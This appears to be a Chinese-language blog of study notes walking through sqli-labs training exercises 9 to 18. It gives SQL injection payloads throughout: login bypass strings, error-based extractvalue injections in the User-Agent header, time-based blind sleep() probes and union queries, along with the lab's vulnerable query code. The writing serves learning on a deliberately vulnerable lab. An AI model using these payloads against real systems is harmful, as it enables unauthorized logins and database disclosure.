sqli labs-18

1、 这个很神奇。只有当用 admin1 admin1先登录成功后才会显示user-agent,而且它的username和password在输入时都经过了过滤。

2、倒推回去,当用admin1 admin1进行登录时,使用burpsuite抓包,然后随便修改下useragent,看他的返回结果,结果发现页面显示的user agent为我们修改后的user agent

3、尝试将 user agent改为 1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) 然后提交执行,抓包发现其报错

4、既然是字符型,那很可能是闭合的问题? 尝试 1′ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’=’1,提交抓包,发现其已经爆出 数据库版本。

sqli labs-16

1、 查看后台代码

$uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

和sqli labs-15一样,只不过是单引号换成了”) 构造万能密码 2″) or 1=1 or (“1″=”1 成功登录
同样使用时间盲注,构造 admin”) and if(length(database())=8,1,sleep(5))# 对应的sql语句为

@$sql="SELECT username, password FROM users WHERE username=("admin") and if(length(database())=8,1,sleep(5))#") and password=($passwd) LIMIT 0,1";

sqli labs-15

1、无论输入啥似乎都没反应没有回显没有报错。直接查看后台代码,发现其就是一个单引号,只不过没有各种回显。

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

尝试了下万能密码 admin’ or 1=1 or ‘1’=’1,顺利登录。 那么问题来了,这种怎么爆表呢?没有回显也没有报错,首先想到就该是时间盲注。这里构造如下 admin’ and if(length(database())=8,sleep(5),1)#, 那么其sql语句就是

@$sql="SELECT username, password FROM users WHERE username='admin' and if(length(database())=8,sleep(5),1)#' and password='$passwd' LIMIT 0,1";

如果数据库名的长度为8,则延迟5秒钟,否则直接登录。

成功pending 5 秒钟。

sqli labs-13

1、输入单引号报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘ww’) LIMIT 0,1′ at line 1 同样的发现有 ‘)’ 构造 admin’) or 1=1 or (‘1’=’1 返回成功,但是没有显示具体的登陆信息。

sqli labs-12

1、在username中输入带有双引号报错。注意其报错语句为 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’22”) LIMIT 0,1′ at line 1 这里有个 ‘)’,所以在构造密码绕过时要注意那个括号。

2、最基本的万能密码 admin’ or ‘1’=’1; 但是此处为双引号,且带有括号,所以尝试下 admin”) or 1=1 or (“1″=”1 ,成功绕过

3、上帝视角查看后台代码,以前从来没看过,别人说啥就是啥,今天非要看一看。

`$uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";`

原来是用双引号进行拼接的,然后再在外面加的括号啊。

where username=("admin") or (1="1#") and password= 
//没有问题,正确执行。这里#不再是注释了哦,先判断 (1="1#") and password= ,这里绕过的实质是 or运算,用户名正确了,直接就执行了
where username=("admin") or "1"="1#") and password=
//admin") or "1"="1# 会报错,注意看上面语句,括号没有闭合

一定要注意,当#在引号里面时,他会被当做字符而不是注释!

sqli labs-11

1、第一眼看到这个我是懵逼的,随便输啥字符进去都是 login failed,页面也不改变。

2、直到我在username里面输入的字符带了个单引号。他报错了!!! You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘dsd22′ LIMIT 0,1’ at line 1


3、马上查看报错注入的笔记(对不起我不记得那些命令了),立马构造语句– ads’ and and extractvalue(1,concat(0x7e,(select @@version),0x7e)) — 成功返回版本5.5.53

4、看了答案,原来这里就开始传说中的post注入了,一般通过表单注入,get注入的语句都可以使用

5、万能密码 admin’ or 1=1 #, 当我们提交username和password后,后台形成的sql语句为@sql="SELECT username, password FROM users WHERE username='admin'or 1=1 # and
password='
passwd' LIMIT 0,1"
;在#以后的内容就被注释掉, 前面的内容因为 or 1=1 恒成立, 所以语句就成立, 我们此时以admin 的用户登录。

6、此处还可以使用联合注入。 1′ union select 1,database() —

sqli labs-9

1、先用之前的常用语句测试,都没反应,页面一直正常。这下懵逼了。然后随便输入了参数,也不报错,那肯定报错注入没戏了。像联合注入布尔盲注一般都是根据输入不同语句返回不同页面来判断是否存在注入,如果有回显,就采用联合注入,如果没有回显就采用布尔盲注。这里输啥都没反应,难道是被过滤了?我有点懵了。试了下 1 and sleep(5) –+, 还是一样的啊。算了看答案吧。

2、 原来是 单引号的时间盲注,,,, 1′ and sleep(5) –+, 成功pending到5s后执行。涨姿势了!